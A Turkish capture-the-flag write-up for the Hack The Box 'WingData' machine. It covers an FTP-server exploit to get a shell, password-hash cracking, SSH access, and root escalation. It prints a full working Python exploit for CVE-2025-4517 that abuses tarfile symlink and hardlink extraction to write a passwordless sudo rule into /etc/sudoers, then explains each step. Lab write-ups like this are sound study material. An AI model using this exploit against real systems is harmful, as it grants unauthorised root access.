
                                                HTB WİNGDATA 

Merhabalar bugün hackthebox wingdata makinesini çözeceğiz 

Öncelikle bir port taramasıyla başlıyoruz. 

Burada tcp ve ssh portlarının açık olduğunu görüyoruz ve siteye 

giriyoruz.  Siteye girdikten sonra login kısmının çalışmadığını fark 

ediyoruz ve bir dir taraması atıyoruz. 

Login sayfasında ftp server karşılıyor ve nano ile ftp.wingdata.hrb yi 

host a ekliyoruz. 

Buradan login sayfasına giriyoruz ve sayfanın altında ftp serverın 

versiyonunu öğreniyoruz hemen bir araştırmaya çıkarıyoruz Shell 

almak için. 

 

Shell almak için exploiti buluyoruz. 

 

Sonrasında dinleyici açıp python3 ile exploiti çalıştırıyoruz  ve Shell 

alıyoruz. 

ftp://ftp.wingdata.hrb/


 

Burada normalde direk user.txt ile karşılaşırdık fakat bu sefer 

göremiyoruz. Genel bir araştırmaya çıkıyoruz Shell içerisinde 

 

Burada kullanıcıları görüyoruz ve kullanıcıların şifresini çekebilir miyiz 

ona bakacağız. 



 

 

Burada tüm kullanıcıların şifrelerini hash olarak çekiyoruz şimdi wacky 

kullanıcısının şifresini kırıp ssh bağlantısı alacağız çünkü ssh portu en 

başta açıktı bunu unutmuyoruz. 



 

Şifremizi hashcat ile kırdık artık ssh bağlantısı alacağız. 

Başarılı bir ssh bağlantısı aldıktan sonra direk user.txt yi çekiyoruz.  

Sudo -l ile root yetkisine bakacağız burada restore komutunu 

görüyoruz ve bunun için araştırma yapıyoruz. 

 

Araştırma sonucunda bir exploit görüyoruz. 

 

Bu exploiti normal root@kali den zip olarak indirip shellimizde 

çalıştırıyoruz ve bir bakıyoruz ki root olmuşuz (bu exploitin kodlarını 

ve mantığını aşağıda inceleyeceğim.)  



 

 

Bunun sonucunda direk root olduk ve root.txt yi çektik txt çekme 

kısımlarını paylaşmıyorum. 

                               EXPLOİT İNCELEME 

Şimdi root.txt olmak için kullandığımız exploiti inceleyeceğim. 

#!/usr/bin/env python3 

""" 



CVE-2025-4517 Privilege Escalation Exploit for WingData HTB 

Exploits tarfile symlink bypass via hardlink to write to /etc/sudoers 

Author: Based on public PoCs 

Target: Python 3.8.0 - 3.13.1 with tarfile filter bypass 

""" 

 

import tarfile 

import os 

import io 

import sys 

import subprocess 

 

def print_banner(): 

    print(""" 

╔═══════════════════════════════════════

════════════════════╗ 

║     CVE-2025-4517 Tarfile Exploit - WingData HTB          ║ 

║     Privilege Escalation via Symlink + Hardlink Bypass    ║ 

╚═══════════════════════════════════════

════════════════════╝ 

    """) 

 

def create_exploit_tar(username, output_file): 



    """ 

    Creates a malicious tar archive that exploits CVE-2025-4517 

    to write arbitrary content to /etc/sudoers 

    """ 

    print(f"[*] Creating exploit tar for user: {username}") 

     

    # Create deep directory structure to confuse path resolution 

    comp = 'd' * 247  # Very long directory name 

    steps = "abcdefghijklmnop"  # 16 levels deep 

    path = "" 

     

    # Sudoers entry to add 

    sudoers_entry = f"{username} ALL=(ALL) NOPASSWD: 

ALL\n".encode() 

     

    with tarfile.open(output_file, mode="w") as tar: 

        # Phase 1: Create deep nested directories with symlink loops 

        print("[*] Phase 1: Building nested directory structure...") 

        for i in steps: 

            # Create very long-named directory 

            a = tarfile.TarInfo(os.path.join(path, comp)) 

            a.type = tarfile.DIRTYPE 

            tar.addfile(a) 



             

            # Create symlink with single letter name pointing to long dir 

            # This creates a loop: a -> ddd..., b -> ddd..., etc. 

            b = tarfile.TarInfo(os.path.join(path, i)) 

            b.type = tarfile.SYMTYPE 

            b.linkname = comp 

            tar.addfile(b) 

             

            path = os.path.join(path, comp) 

         

        # Phase 2: Create long symlink chain going up many levels 

        print("[*] Phase 2: Creating symlink chain for path traversal...") 

        linkpath = os.path.join("/".join(steps), "l" * 254) 

        l = tarfile.TarInfo(linkpath) 

        l.type = tarfile.SYMTYPE 

        l.linkname = "../" * len(steps)  # Go up 16 levels 

        tar.addfile(l) 

         

        # Phase 3: Final escape symlink pointing to /etc 

        print("[*] Phase 3: Creating escape symlink to /etc...") 

        e = tarfile.TarInfo("escape") 

        e.type = tarfile.SYMTYPE 

        e.linkname = linkpath + "/../../../../../../../etc" 



        tar.addfile(e) 

         

        # Phase 4: Create HARDLINK pointing through escape to sudoers 

        print("[*] Phase 4: Creating hardlink to /etc/sudoers...") 

        f = tarfile.TarInfo("sudoers_link") 

        f.type = tarfile.LNKTYPE 

        f.linkname = "escape/sudoers" 

        tar.addfile(f) 

         

        # Phase 5: Write actual content - goes to hardlinked inode 

        print("[*] Phase 5: Writing sudoers entry...") 

        c = tarfile.TarInfo("sudoers_link") 

        c.type = tarfile.REGTYPE 

        c.size = len(sudoers_entry) 

        tar.addfile(c, fileobj=io.BytesIO(sudoers_entry)) 

     

    print(f"[+] Exploit tar created: {output_file}") 

    return output_file 

 

def deploy_and_execute(tar_file, backup_id="9999"): 

    """ 

    Deploy the exploit tar and execute via the vulnerable script 

    """ 



    backup_dir = "/opt/backup_clients/backups" 

    backup_file = f"backup_{backup_id}.tar" 

    backup_path = os.path.join(backup_dir, backup_file) 

     

    print(f"[*] Deploying exploit to: {backup_path}") 

     

    # Copy exploit tar to backup directory 

    try: 

        subprocess.run(["cp", tar_file, backup_path], check=True) 

        print(f"[+] Exploit deployed successfully") 

    except subprocess.CalledProcessError: 

        print(f"[-] Failed to deploy exploit") 

        return False 

     

    # Execute the vulnerable restore script 

    print(f"[*] Triggering extraction via vulnerable script...") 

    restore_dir = f"restore_pwn_{backup_id}" 

     

    cmd = [ 

        "sudo", 

        "/usr/local/bin/python3", 

        "/opt/backup_clients/restore_backup_clients.py", 

        "-b", backup_file, 



        "-r", restore_dir 

    ] 

     

    try: 

        result = subprocess.run(cmd, capture_output=True, text=True) 

        print(result.stdout) 

        if result.returncode != 0: 

            print(f"[-] Extraction failed: {result.stderr}") 

            return False 

        print("[+] Extraction completed") 

        return True 

    except Exception as e: 

        print(f"[-] Error executing script: {e}") 

        return False 

 

def verify_exploit(username): 

    """ 

    Verify that the exploit worked by checking sudoers 

    """ 

    print(f"[*] Verifying exploit success...") 

     

    try: 

        result = subprocess.run( 



            ["sudo", "cat", "/etc/sudoers"], 

            capture_output=True, 

            text=True, 

            check=True 

        ) 

         

        if username in result.stdout and "NOPASSWD: ALL" in 

result.stdout: 

            print(f"[+] SUCCESS! User '{username}' added to sudoers") 

            print(f"[+] Entry: {username} ALL=(ALL) NOPASSWD: ALL") 

            return True 

        else: 

            print(f"[-] Exploit may have failed - entry not found in 

sudoers") 

            return False 

    except subprocess.CalledProcessError: 

        print(f"[-] Could not verify sudoers file") 

        return False 

 

def get_root_shell(): 

    """ 

    Spawn a root shell 

    """ 



    print("\n[*] Spawning root shell...") 

    print("[*] Run: sudo /bin/bash") 

    os.system("sudo /bin/bash") 

 

def main(): 

    print_banner() 

     

    # Get current username 

    username = os.getenv("USER", "wacky") 

    print(f"[*] Target user: {username}") 

     

    # Create exploit tar in /tmp 

    exploit_tar = "/tmp/cve_2025_4517_exploit.tar" 

    create_exploit_tar(username, exploit_tar) 

     

    # Deploy and execute 

    if not deploy_and_execute(exploit_tar): 

        print("[-] Exploit failed during deployment/execution") 

        sys.exit(1) 

     

    # Verify success 

    if verify_exploit(username): 

        print("\n" + "="*60) 



        print("[+] EXPLOITATION SUCCESSFUL!") 

        print(f"[+] User '{username}' now has full sudo privileges") 

        print("[+] Get root with: sudo /bin/bash") 

        print("="*60 + "\n") 

         

        # Offer to spawn root shell 

        response = input("[?] Spawn root shell now? (y/n): ") 

        if response.lower() == 'y': 

            get_root_shell() 

    else: 

        print("[-] Exploit verification failed") 

        sys.exit(1) 

 

if __name__ == "__main__": 

    try: 

        main() 

    except KeyboardInterrupt: 

        print("\n[!] Interrupted by user") 

        sys.exit(1) 

    except Exception as e: 

        print(f"[-] Unexpected error: {e}") 

        sys.exit(1)          

kullandığımız exploit bu sıra geldi exploiti açıklamaya  



1-  sudo /usr/local/bin/python3 

/opt/backup_clients/restore_backup_clients.py ... (sudo -l 

sonucumuz) 

2- İlk adım olarak bir çıkış escape kapısı oluşturuyor.( escape → /etc) 

3- İkinci adım olarak hardlink ile hedef dosyaya bağlanıyor. Tarın içine 

(sudoers_link (hardlink) → escape/sudoers) bunu koyuyor. 

4-Artık sudoers_link aslında /etc/sudoers dosyasının kendisi. 

5- Üçüncü adım olarak aynı isimle normal dosya yazıyor(Tar içine 

tekrar aynı isimle bir dosya koyuyor: 

sudoers_link  (normal file))  

6-Tar extract olurken ne oluyor? 

• Önce hardlink oluşturuluyor 

• Sonra aynı isimle normal dosya yazılıyor 

• Ama bu dosya aslında /etc/sudoers’a bağlı 

Yani Yazılan içerik direkt /etc/sudoers içine gidiyor. 

SONUÇ: /etc/sudoers dosyasına şu satır ekleniyor: 

wacky ALL=(ALL) NOPASSWD: ALL  bu artık wacky nin her şeyi şifresiz 

çalıştırabileceğini gösteriyor. 

Bu exploit neden bizi direk root yaptı? 

Root tar dosyasını açıyor. 

Tar içinden istediğin dosyaya yazabiliyorsun. 

Linux'ta root olarak dosyaya yazabiliyorsun. 

 



 

 


